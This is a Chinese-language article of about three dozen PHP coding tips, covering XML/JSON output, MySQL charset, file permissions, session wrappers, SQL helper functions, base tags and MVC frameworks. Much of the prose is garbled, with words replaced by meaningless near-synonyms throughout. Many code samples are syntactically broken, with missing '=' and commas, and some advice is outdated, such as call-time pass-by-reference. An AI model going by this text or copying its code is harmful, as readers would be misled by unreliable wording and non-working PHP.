 {
 echo "I is : $i ';
 }
 echo print_footer();

无参数获取新闻

何以需求输出缓冲:

get_defined_vars

array get_defined_vars ( void )
回去二个包蕴全数已定义变量列表的多维数组,这几个变量包罗景况变量、服务器变量和顾客定义的变量。

>>能够在发送给浏览器前校勘输出. 如 str_replaces 函数或或然是
preg_replaces 或增加些监控/调节和测量检验的html内容.

get_defined_constants

array get_defined_constants ([ bool $categorize = false ] )
回来当前享有已定义的常量名和值。 那包蕴 define()函数所成立的,也饱含了具有扩展所创办的。

>>输出给浏览器的还要又做php的处理特不好.
你应当看见过有些站点的侧边栏或中等现身谬误新闻. 知道为什么会发出呢?
因为拍卖和出口混合了.

get_defined_functions

array get_defined_functions ( void )
归来三个暗含全部已定义函数列表的多维数组

8. 殡葬正确的mime类型头消息, 如若输出非html内容的话.

get_included_files

array get_included_files ( void )
回去全数被 include、 include_once、 require 和 require_once 的公文名。

出口一些xml.

1
2
3
4
5
6
$xml '<?xml version="1.0" encoding="utf-8" standalone="yes"?>';
 $xml = "<response>
 <code>0</code>
 </response>";
//Send xml data
 echo $xml;

干活得不错. 但需求部分改良.

1
2
3
4
5
6
7
$xml '<?xml version="1.0" encoding="utf-8" standalone="yes"?>';
 $xml = "<response>
 <code>0</code>
 </response>";
 //Send xml data
 header("content-type: text/xml");
 echo $xml;

小心header行. 该行告知浏览器发送的是xml类型的内容.
所以浏览器能精确的管理. 超级多的javascript库也依附头音信.

就像是的有 javascript , css, jpg image, png image:

1
2
3
4
5
6
JavaScript
header("content-type: application/x-javascript");
 echo "var a = 10";
 CSS
header("content-type: text/css");
 echo "#div id { background:#000; }";

9. 为mysql连接装置科学的字符编码

业已境遇过在mysql表中安装了unicode/utf-8编码, phpadmin也能正确展现,
但当你获得内容并在页面输出的时候,谋面世乱码.
这里的主题材料出在mysql连接的字符编码.

1
2
3
4
5
6
7
8
9
10
11
12
//Attempt to connect to database
 $c = mysqli_connect($this->host , $this->username, $this->password);
 //Check connection validity
 if (!$c)&nbsp;
 {
 die ("Could not connect to the database host: ". mysqli_connect_error());
 }
 //Set the character set of the connection
if(!mysqli_set_charset ( $c 'UTF8' ))
 {
 die('mysqli_set_charset() failed');
 }

若是三番五次数据库, 最棒设置连接的 characterset. 你的接受要是要扶助多语言,
这么做是必得的.

10. 利用 htmlentities 设置科学的编码选项

php5.4前, 字符的私下认可编码是ISO-8859-1, 无法一向出口如À â等.

1
$value = htmlentities($this->value , ENT_QUOTES , CHARSET);

php5.4今后, 暗许编码为UTF-8, 那將化解大多主题素材. 但假设你的运用是多语言的,
仍旧要小心编码难点,.

11. 不用在应用中应用gzip压缩输出, 让apache管理

虚构过使用 ob_gzhandler 吗? 不要那么做. 聊无意义. php只使用来编排应用.
不应操心服务器和浏览器的数码传输优化难题.

使用apache的mod_gzip/mod_deflate 模块压缩内容.

12. 使用json_encode输出动态javascript内容

平常会用php输出动态javascript内容:

1
2
3
4
5
6
7
8
9
10
11
$images array(
 'myself.png' 'friends.png' 'colleagues.png'
 );
$js_code '';
foreach($images as $image)
{
$js_code .= "'$image' ,";
}
$js_code 'var images = [' $js_code ']; ';
echo $js_code;
//Output is var images = ['myself.png' ,'friends.png' ,'colleagues.png' ,];

更智慧的做法, 使用 json_encode:

1
2
3
4
5
6
$images array(
 'myself.png' 'friends.png' 'colleagues.png'
 );
$js_code 'var images = ' . json_encode($images);
 echo $js_code;
//Output is : var images = ["myself.png","friends.png","colleagues.png"]

优雅乎?

13. 写文件前, 检查目录写权限

写或保存文件前, 确认保障目录是可写的, 如若不可写, 输出错误信息.
那会省去你多多调整时间. linux系统中, 要求管理权限,
目录权限不当会招致不知凡几过多的主题素材, 文件也会有非常的大概率不可能读取等等.

作保您的利用丰富智能, 输出某个主要音信.

1
2
3
$contents "All the content";
$file_path "/var/www/project/content.txt";
 file_put_contents($file_path $contents);

那大约上正确. 但多少直接的主题材料. file_put_contents
大概会出于多少个原因退步:

>>父目录不设有

>>目录存在, 但不可写

>>文件被写锁住?

由此写文件前做鲜明的检讨更加好.

1
2
3
4
5
6
7
8
9
10
11
$contents "All the content";
 $dir '/var/www/project';
 $file_path $dir "/content.txt";
 if(is_writable($dir))
 {
 file_put_contents($file_path $contents);
 }
 else
 {
 die("Directory $dir is not writable, or does not exist. Please check");
 }

诸如此比做后, 你会拿走三个文本在何方写及为啥失利的引人注目消息.

14. 校正应用成立的公文权限

在linux情形中, 权限难题或许会浪费你多多时间. 从今未来, 无论什么时候,
当你创立一些文本后, 确定保障使用chmod设置准确权限. 否则的话,
可能文件首先由”php”客户成立, 但你用别样的顾客登入职业,
系统將会谢绝访谈或张开文件, 你不能不奋力获取root权限,
修正文件的权限等等.

1
2
3
4
// Read and write for owner, read for everybody else
 chmod("/somedir/somefile", 0644);
 // Everything for owner, read and execute for others
 chmod("/somedir/somefile", 0755);
  1. 并不是信任submit开关值来检查表单提邮储为
1
2
3
4
if($_POST['submit'] == 'Save')
 {
 //Save the things
 }

上边大非常多动静不错, 除了利用是多语言的. ‘Save’ 恐怕代表任何含义.
你怎么不相同它们呢. 因而, 不要依据于submit按键的值.

1
2
3
4
if$_SERVER['REQUEST_METHOD'] == 'POST' and isset($_POST['submit']) )
 {
 //Save the things
 }

于今您从submit开关值中解脱出来了.

16. 为函数内总具备相近值的变量定义成静态变量

1
2
3
4
5
6
7
8
//Delay for some time
 function delay()
 {
 $sync_delay = get_option('sync_delay');
 echo "Delaying for $sync_delay seconds...";
 sleep($sync_delay);
 echo "Done ";
 }

用静态变量替代:

1
2
3
4
5
6
7
8
9
10
11
12
//Delay for some time
 function delay()
 {
 static $sync_delay = null;
 if($sync_delay == null)
 {
 $sync_delay = get_option('sync_delay');
 }
 echo "Delaying for $sync_delay seconds...";
 sleep($sync_delay);
 echo "Done ";
 }

17. 不要一贯运用 $_SESSION 变量

某个轻便例子:

1
2
$_SESSION['username'] = $username;
 $username = $_SESSION['username'];

那会引致有些难点. 要是在同个域名中运转了七个应用, session
变量大概会冲突. 三个例外的接纳恐怕使用同三个session key. 举个例子,
三个前端门户, 和多少个后台管理种类利用同一域名.

从后天始发, 使用使用相关的key和二个包装函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
define('APP_ID' 'abc_corp_ecommerce');
 //Function to get a session variable
 function session_get($key)
 {
 $k = APP_ID . '.' $key;
 if(isset($_SESSION[$k]))
 {
 return $_SESSION[$k];
 }
 return false;
 }
 //Function set the session variable
 function session_set($key $value)
 {
 $k = APP_ID . '.' $key;
 $_SESSION[$k] = $value;
 return true;
 }

18. 將工具函数封装到类中

假定你在某文件中定义了累累工具函数:

1
2
3
4
5
6
7
8
9
10
11
12
function utility_a()
 {
 //This function does a utility thing like string processing
 }
function utility_b()
 {
 //This function does nother utility thing like database processing
 }
 function utility_c()
 {
 //This function is ...
 }

这几个函数的使用分散到应用四处. 你可能想將他们包裹到某些类中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Utility
 {
public static function utility_a()
{
}
public static function utility_b()
 {
 }
public static function utility_c()
 {
 }
 }
//and call them as
 $a = Utility::utility_a();
 $b = Utility::utility_b();

明朗的实惠是, 假设php内建有同名的函数, 那样能够制止冲突.

另一种意见是, 你能够在同个利用中为同个类爱抚八个本子, 而不形成冲突.
那是包裹的中坚好处, 无它.

19. Bunch of silly tips

>>使用echo取代print

>>使用str_replace取代preg_replace, 除非你相对须求

>>不要选取 short tag

>>轻松字符串用单引号代替双引号

>>head重定向后记得使用exit

>>不要在循环中调用函数

>>isset比strlen快

>>始中如一的格式化代码

>>不要删除循环可能if-else的括号

永不那样写代码:

1
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">if($a == true) $a_count++;</span>

这绝对WASTE.

写成:

1
2
3
4
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">if($a == true)
 {
 $a_count++;
 }</span>

无须品味省略一些语法来降低代码. 而是让您的逻辑简短.

>>使用有高亮语法展现的文本编辑器. 高亮语法能让你收缩错误.

20. 使用array_map火速管理数组

诸如你想 trim 数组中的全部元素. 生手恐怕会:

1
2
3
4
foreach($arr as $c => $v)
 {
 $arr[$c] = trim($v);
 }

但使用 array_map 更简单:

1
$arr array_map('trim' $arr);

那会为$arr数组的每一个成分都报名调用trim. 另贰个相近的函数是 array_walk.
请查阅文书档案学习越来越多技术.

21. 采纳 php filter 验证数据

你势必曾使用过正则表明式验证 email , ip地址等. 是的,每种人都那样使用.
今后, 大家想做不同的尝尝, 称为filter.

php的filter扩张提供了简便的主意注解和反省输入.

22. 强迫类型检查

1
2
$amount intval$_GET['amount'] );
 $rate = (int) $_GET['rate'];

那是个好习贯.

23. 纵然急需,使用profiler如xdebug

假令你接受php开辟大型的运用, php担当了数不清运算量,
速度会是一个相当的重视的目的. 使用profile帮忙优化代码.
可接纳xdebug和webgrid.

24. 小心管理大数组

对此大的数组和字符串, 必需小心管理.
不足为道错误是爆发数组拷贝招致内部存款和储蓄器溢出,抛出Fatal Error of Memory size 消息:

1
2
3
$db_records_in_array_format//This is a big array holding 1000 rows from a table each having 20 columns , every row is atleast 100 bytes , so total 1000 * 20 * 100 = 2MB
$cc $db_records_in_array_format//2MB more
some_function($cc); //Another 2MB ?

当导入或导出csv文件时, 平日会如此做.

决不以为上边的代码会常常因内部存款和储蓄器约束招致脚本崩溃. 对于小的变量是没难题的,
但管理大数组的时候就务须制止.

承保通过援用传递, 或存款和储蓄在类变量中:

1
2
$a = get_large_array();
 pass_to_function(&$a);

那般做后, 向函数字传送递变量引用(实际不是拷贝数组State of Qatar. 查看文书档案.

1
2
3
4
5
6
7
8
9
10
11
12
class A
 {
 function first()
 {
 $this->a = get_large_array();
 $this->pass_to_function();
 }
 function pass_to_function()
 {
 //process $this->a
 }
 }

不久的 unset 它们, 让内部存款和储蓄器得以自由,缓和脚本担任.

25. 长久使用单一数据库连接

承保您的脚本由始至终都采纳单一的数据库连接. 在初阶处正确的开采连接,
使用它直到结束, 最终关闭它. 不要像下边那样在函数中张开连接:

1
2
3
4
5
6
7
8
9
10
function add_to_cart()
 {
$db new Database();
 $db->query("INSERT INTO cart .....");
 }
 function empty_cart()
 {
$db new Database();
 $db->query("DELETE FROM cart .....");
 }

应用四个接二连三是个不好的, 它们会拖慢应用, 因为成立连接必要时刻和占用内部存款和储蓄器.

特定情景接纳单例模式, 如数据库连接.

26. 防止直接写SQL, 抽象之

耐性的写了太多如下的言语:

1
2
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">$query "INSERT INTO users(name , email , address , phone) VALUES('$name' , '$email' , '$address' , '$phone')";
 $db->query($query); //call to mysqli_query()</span>

那不是个建壮的方案. 它多少欠缺:

>>每便都手动转义值

>>验证查询是还是不是正确

>>查询的谬误会花非常短日子识别(除非每一趟都用if-else检查State of Qatar

>>很难保险复杂的询问

因此使用函数封装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">function insert_record($table_name $data)
 {
 foreach($data as $key => $value)
 {
 //mysqli_real_escape_string
 $data[$key] = $db->mres($value);
 }
 $fields = implode(',' array_keys($data));
 $values "'" . implode("','" array_values($data)) . "'";
 //Final query
 $query "INSERT INTO {$table}($fields) VALUES($values)";
 return $db->query($query);
}
 $data array('name' => $name 'email' => $email 'address' => $address 'phone' => $phone);
 insert_record('users' $data);</span>

见状了吧? 那样会更易读和扩张. record_data 函数小心的管理了转义.

最大的优点是数量被预管理为多个数组, 任何语法错误都会被捕获.

该函数应该定义在有些database类中, 你可以像
$db->insert_record那样调用.

翻开本文, 看看怎么着让您管理数据库更轻松.

好像的也得以编写update,select,delete方法. 试试吧.

27. 將数据库生成的剧情缓存到静态文件中

如果全部的开始和结果都以从数据库获取的, 它们应该被缓存. 一旦生成了,
就將它们保存在临时文件中. 后一次呼吁该页面时, 可向来从缓存中取,
不用再查数据库.

好处:

>>节约php管理页面包车型客车年华, 实施越来越快

>>更加少的数据库查询意味着更加少的mysql连接开销

28. 在数据库中保留session

基于文件的session战略会有为数不菲限定.
使用基于文件的session不可能扩张到集群中, 因为session保存在单个服务器中.
但数据库可被三个服务器访谈, 那样就可以减轻难点.

在数据库中保存session数据, 还会有越来越多功利:

>>管理username重复登陆难题. 同个username不能够在三个地方还要登入.

>>能更准备的查询在线顾客状态.

29. 防止接收全局变量

>>使用 defines/constants

>>使用函数获取值

>>使用类并经过$this访问

30. 在head中使用base标签

没听新闻说过? 请看上面:

1
2
3
4
5
6
7
<head>
 <base href="http://www.domain.com/store/">
 </head>
 <body>
 <img src="happy.jpg" />
 </body>
 </html>

base 标签特别有用. 假令你的接纳分成多少个子目录,
它们都要包涵相似的领航菜单.

www.domain.com/store/home.php

www.domain.com/store/products/ipad.php

在首页中, 能够写:

1
2
<a href="home.php">Home</a>
 <a href="products/ipad.php">Ipad</a>

但在您的ipad.php不能不写成:

1
2
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';"><a href="../home.php">Home</a>
 <a href="ipad.php">Ipad</a></span>

因为目录差别样. 犹如此多差异版本的领航菜单要爱戴, 十分不好啊.

因此, 请使用base标签.

1
2
3
4
5
6
7
8
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';"><head>
 <base href="http://www.domain.com/store/">
 </head>
 <body>
 <a href="home.php">Home</a>
 <a href="products/ipad.php">Ipad</a>
 </body>
 </html></span>

当今, 这段代码放在应用的一一目录文件中作为都一致.

31. 千古不要將 error_reporting 设为 0

闭馆不相的大谬不然报告. E_FATAL 错误是很入眼的.

1
2
<span style="color:#333333;font-family:'Helvetica, Arial, sans-serif';">ini_set('display_errors', 1);
 error_reporting(~E_WARNING & ~E_NOTICE & ~E_STRICT);</span>

32. 瞩目平台种类布局

integer在叁十五人和60个人种类布局中长度是例外的. 因而有些函数如 strtotime
的行为会分化.

在六13个人的机械中, 你拜候到如下的输出.

1
2
3
4
5
6
7
8
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">$ php -a
 Interactive shell
 php > echo strtotime("0000-00-00 00:00:00");
 -62170005200
 php > echo strtotime('1000-01-30');
 -30607739600
 php > echo strtotime('2100-01-30');
 4104930600</span>

但在叁玖个人机器中, 它们將是bool(false卡塔尔. 查看这里, 了然越来越多.

33. 永可是度注重 set_time_limit

万一您想限定最小时间, 能够利用上面包车型地铁脚本:

1
2
<span style="color:#333333;font-family:''Helvetica, Arial, sans-serif'';">set_time_limit(30);
 //Rest of the code</span>

高枕而卧呢? 注意任何外界的实践, 如系统调用,socket操作, 数据库操作等,
就不在set_time_limits的主宰之下.

故此, 固然数据库花销了数不完岁月查询, 脚本也不会停下实施. 视景况而定.

34. 利用扩大库

一部分例子:

>>mPDF — 能通过html生成pdf文档

>>PHPExcel — 读写excel

>>PhpMailer — 轻易管理发送富含相近的邮件

>>pChart — 使用php生成报表

选取开源库实现复杂任务, 如生成pdf, ms-excel文件, 报表等.

35. 使用MVC框架

是时候使用像 codeigniter 那样的MVC框架了.
MVC框架并不强求你写面向对象的代码. 它们仅將php代码与html抽离.

>>鲜明区分php和html代码. 在团队通力同盟中有裨益, 设计员和程序员能够同不平日间专门的学问.

>>面向对象设计的函数能令你更易于保证

>>内建函数达成了广大干活, 你不供给再度编写

>>开拓大的接收是必需的

>>非常多建议, 技能和hack已被框架实现了

36. 时时看看 phpbench

phpbench 提供了些php基本操作的准则测量检验结果,
它显得了一些徽小的语法变化是如何招致宏大反差的.

翻开php站点的批评, 有标题到IRC提问, 时常阅读开源代码, 使用Linux开辟.

发表评论

电子邮件地址不会被公开。 必填项已用*标注